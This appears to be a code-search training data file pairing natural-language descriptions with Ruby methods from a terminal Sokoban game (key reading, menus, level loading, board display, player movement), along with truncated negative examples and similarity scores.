[ "0.7715226", "0.6984112", "0.69701445", "0.6500664", "0.63827986", "0.61824435", "0.608907", "0.603295", "0.60037464", "0.5971804", "0.5971184", "0.58578837", "0.5841196", "0.5839638", "0.5829413", "0.58171743", "0.5798789", "0.5744388", "0.57341635", "0.57086027", "0.5688719...
0.0
-1
ALL CODE USED TO NAVIGATE THE GAME IS HERE This method reads keypresses from the user including 2 and 3 escape character sequences.
def pressKey STDIN.echo = false STDIN.raw! input = STDIN.getc.chr if input == "\e" then input << STDIN.read_nonblock(3) rescue nil input << STDIN.read_nonblock(2) rescue nil end ensure STDIN.echo = true STDIN.cooked! return input end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show_single_key\n c = read_char\n\n case c\n when \" \"\n pickUpItem()\n when \"i\"\n showInventory\n when \"m\"\n showMap\n when \"v\"\n inspectSurroundings\n puts \"working\"\n when \"q\"\n system ('clear && printf \"\\e[3J\"') or system (\"cls\")\n exit 0\n when \"k\"\n gameO...
[ "0.6846503", "0.6841065", "0.6826847", "0.6811319", "0.6762251", "0.67213124", "0.6707198", "0.67066526", "0.6661459", "0.65551734", "0.6454079", "0.6434647", "0.64144385", "0.64108735", "0.6401975", "0.63987625", "0.63835967", "0.62789017", "0.623884", "0.621047", "0.6202798...
0.650767
10
create a menu method to open up upon being called
def menuScreen @levelNo=1 clearScreen puts "You are at the menu for Sokoban" puts "To quick play: Press 'p'" puts "To choose a level: Press 'c'" puts "To stop: Press 'q'" charPressedInMenu end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def menu # can do custom methods within a method/class\n end", "def menu\nend", "def menu\n \nend", "def menu\n \n \n\nend", "def getMenu(menu)\n menu.add_item(\"Done\") {self.done}\n menu.add_item(\"Edit Camera...\") {self.edit}\n menu.add_item(\"Reset Tilt\") {self.reset_tilt}\nend", ...
[ "0.85106057", "0.80342966", "0.79684204", "0.7736846", "0.76986676", "0.76707274", "0.75754595", "0.7544706", "0.75357604", "0.7455136", "0.7444458", "0.7373616", "0.7258586", "0.7244813", "0.7238225", "0.72113997", "0.7185374", "0.7162685", "0.71505374", "0.71400434", "0.713...
0.0
-1
this method will be run when the user presses a key on the keyboard
def charPressedInMenu char = pressKey case (char) when "p" #load level of choice loadArray #displayArray displayArray when "q" #stop game exit when "c" #request level selectLevel else menuScreen end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def on_key(ch)\n end", "def handle_key ch\n super\n end", "def press_any_key\n # TODO: Print footer.\n get_wch\n end", "def update\n\t\tupdate_keypress\n\tend", "def key_press *args\n\t\t\tevent(:key_press, *args)\n\t\tend", "def onKeyDown( *args )\r\n capture = relay_event( ...
[ "0.8434802", "0.75328165", "0.73310274", "0.7329835", "0.72396547", "0.7180034", "0.71790206", "0.71491224", "0.7124923", "0.7111588", "0.71047133", "0.7078206", "0.7070809", "0.7041493", "0.703147", "0.6993018", "0.69833004", "0.6952396", "0.69311166", "0.6905595", "0.690261...
0.63668615
72
input the new x and y coordinates
def checkMovement(oldX,oldY,newX,newY) #initialize the value to return proposedLocation=@levelArr[newY][newX] case(proposedLocation) when '#' displayArray when '$' moveBox(oldX,oldY,newX,newY) return when '.' moveMan(oldX,oldY,newX,newY) else #if man is allowed to move, run this moveMan(oldX,oldY,newX,newY) return end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n get_x\n get_y\n end", "def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end", "def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end", "def update!(**args)\...
[ "0.7397054", "0.7248767", "0.7248767", "0.7248767", "0.7248767", "0.7248767", "0.7248767", "0.7248767", "0.7248767", "0.7076204", "0.70441294", "0.69654304", "0.6941591", "0.69361556", "0.6844751", "0.6824393", "0.6820134", "0.6760259", "0.6740663", "0.6711654", "0.67088467",...
0.0
-1
this code will run when the user wants to select a level
def selectLevel puts "Choose a level from 1 - 90:" input = gets.chomp() tempLevelNo = input.to_i if (input == tempLevelNo.to_s) if 1 > tempLevelNo || tempLevelNo > 90 puts "Level does not exist, please choose a level from 1-90" puts "Do you wish to continue choosing? y/n" case(pressKey) when "y" selectLevel return when "n" menuScreen return end else @levelNo = tempLevelNo clearScreen #load onto array loadArray #display array displayArray end else puts "This is not an integer, please enter a level number which is an integer" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_level\n @level = Level.find(params[:id])\n end", "def set_level\n @level = Level.find(params[:id])\n end", "def charPressedInMenu\n char = pressKey\n case (char)\n when \"p\"\n #load level of choice\n loadArray\n #displayArray\n displayArray\n when \"q\"\n ...
[ "0.6719394", "0.6719394", "0.6717201", "0.6695112", "0.6690989", "0.66903657", "0.6636764", "0.649158", "0.6483316", "0.64689684", "0.6352674", "0.63503146", "0.63448644", "0.63448644", "0.63321406", "0.6331029", "0.6325102", "0.6307368", "0.6304731", "0.6297926", "0.6294848"...
0.6919729
0
this is a method to load the game of choice onto the array
def loadArray clearScreen @boxGoalCoord=[] @levelArr=[] lineCount=0 #open the file and make each line an element in the 2d array @levelArr File.readlines("./levels/level#{@levelNo}.xsb").each do |line| #initialize the subarray 'charArr' charArr=[] xCount=1 line.each_char do |char| #push new element to the array subarray 'charArr' if char=='.' @boxGoalCoord.push("#{xCount},#{lineCount}") end charArr.push(char) xCount+=1 end #add the sub array 'charArr' to the whole file array 'fileArr' @levelArr.push(charArr) lineCount+=1 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_supported_games\r\n @supported_game_map = InfoAvailableGames.info_supported_games(@log)\r\n #p @supported_game_map\r\n SETTINGS_DEFAULT_APPGUI[:games_opt] = {}\r\n @supported_game_map.each do |k, game_item|\r\n if game_item[:enabled] == true\r\n require game_item[:file_req]\r\n ...
[ "0.65461606", "0.6448094", "0.6386408", "0.6284447", "0.62558615", "0.6230554", "0.6184442", "0.6159727", "0.61407065", "0.6093822", "0.6077824", "0.60730857", "0.6040048", "0.5984938", "0.5974557", "0.59287316", "0.59193337", "0.59148306", "0.5914018", "0.58789074", "0.58660...
0.0
-1
this is a method to load the array to the game screen and show the player's location
def displayArray checkIfComplete clearScreen @levelArr.each do |y| y.each do |x| case(x) when '@' print x.colorize(:color => :orange) when '#' print x.colorize(:background => :gray) else print x end end end manPosition = locateMan puts "Press 'h' for help:" charPressedInGame end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_game\n $pokemon_party = @all_window[@index].data\n $pokemon_party.expand_global_var\n $pokemon_party.load_parameters\n $game_system.se_play($data_system.cursor_se)\n $game_map.setup($game_map.map_id)\n $game_player.moveto($game_player.x, $game_player.y) # center\n $game_...
[ "0.61115295", "0.5863617", "0.5837475", "0.5783402", "0.5727274", "0.5726727", "0.56939787", "0.5595543", "0.5557517", "0.5538023", "0.5534474", "0.55241454", "0.55075073", "0.5492773", "0.54711163", "0.5465546", "0.5463382", "0.5454535", "0.54279196", "0.54195744", "0.539261...
0.5679203
7
this method will move the man from the current (old) coordinates to the next coordinates (new)
def moveMan(oldX,oldY,newX,newY) @levelArr[newY][newX]='@' @levelArr[oldY][oldX]=' ' #replace the box goals if they were overwritten by the above lines of code replenishBoxGoals end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def move\n move_by a, m\n end", "def move\n case @direction\n when \"N\"\n @y_coord += 1\n when \"S\"\n @y_coord -= 1\n when \"W\"\n @x_coord += 1\n when \"E\"\n @x_coord -= 1\n end\n end", "def update_move\n update_last_coordinate\n @point...
[ "0.7213758", "0.71215594", "0.71100664", "0.70682544", "0.70358413", "0.69651306", "0.69095194", "0.6902594", "0.68794537", "0.6872127", "0.68545747", "0.68417966", "0.68076605", "0.67825055", "0.67440104", "0.6738058", "0.672289", "0.6694248", "0.6691358", "0.66504025", "0.6...
0.6300979
69